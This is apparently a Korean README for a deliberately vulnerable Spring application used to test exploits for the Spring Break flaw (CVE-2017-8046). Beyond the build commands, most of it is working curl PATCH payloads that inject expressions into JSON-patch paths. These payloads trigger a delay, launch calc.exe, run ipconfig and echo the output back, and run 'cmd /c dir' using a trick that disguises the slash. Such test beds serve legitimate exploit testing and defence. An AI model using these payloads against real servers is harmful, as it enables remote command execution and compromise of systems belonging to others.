
경고: 이 애플리케이션은 Spring Break 취약점(CVE-2017-8046)의 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 발생하는 위험은 본인이 감수하십시오!
Spring Break 취약점(CVE-2017-8046)에 대한 익스플로잇을 테스트하기 위한 취약 애플리케이션입니다.
이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 실행 시 본인 책임입니다! 백업된 격리 환경(예: 최신 스냅샷과 호스트 전용 네트워킹을 갖춘 VM)에서 사용하는 것이 권장됩니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 반드시 침해될 것입니다.
면책 조항: 본 애플리케이션(SpringBreakVulnerableApp)을 사용하는 방식에 대해 어떠한 책임도 지지 않습니다. 이 애플리케이션의 유일한 목적은 Spring Break 익스플로잇을 위한 테스트 시나리오를 제공하는 것이며 악의적으로 사용되어서는 안 됩니다. SpringBreakVulnerableApp을 설치하여 서버가 침해된 경우 이는 제 책임이 아니며, 해당 애플리케이션을 업로드하고 설치한 사람(들)의 책임입니다.
애플리케이션은 다음 Maven 명령으로 실행할 수 있습니다.
mvn spring-boot:run
다음 Maven 명령으로 fat jar를 생성할 수 있습니다.
mvn clean install spring-boot:repackage
데이터를 삽입하려면 다음 curl 명령을 사용할 수 있습니다.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
아마도 가장 간단한 익스플로잇은 다음 요청입니다.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Windows에서는 다음 요청으로 calc.exe 프로세스를 실행할 수 있습니다. 유사한 요청으로 임의의 명령을 실행할 수도 있습니다.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
실행된 명령의 출력을 얻으려면 Spring Framework 코드가 제공하는 일부 "gadget"을 사용할 수 있습니다. 다행히도 외부 종속성은 필요하지 않습니다. 예를 들어, ipconfig 명령의 결과는 다음 요청으로 검색할 수 있습니다.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Windows에서는 다음 요청으로 cmd /c dir 명령 및 기타 유사한 명령을 실행할 수 있습니다. 실제 파싱 전에 명시적인 슬래시가 점으로 대체되는 점을 이용해 슬래시 문자를 명시적 값 없이 삽입하는 트릭에 유의하십시오.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
이 취약점을 익스플로잇하기 위한 Java 프로그램은 여기에서 찾을 수 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE.txt 파일을 참조하십시오.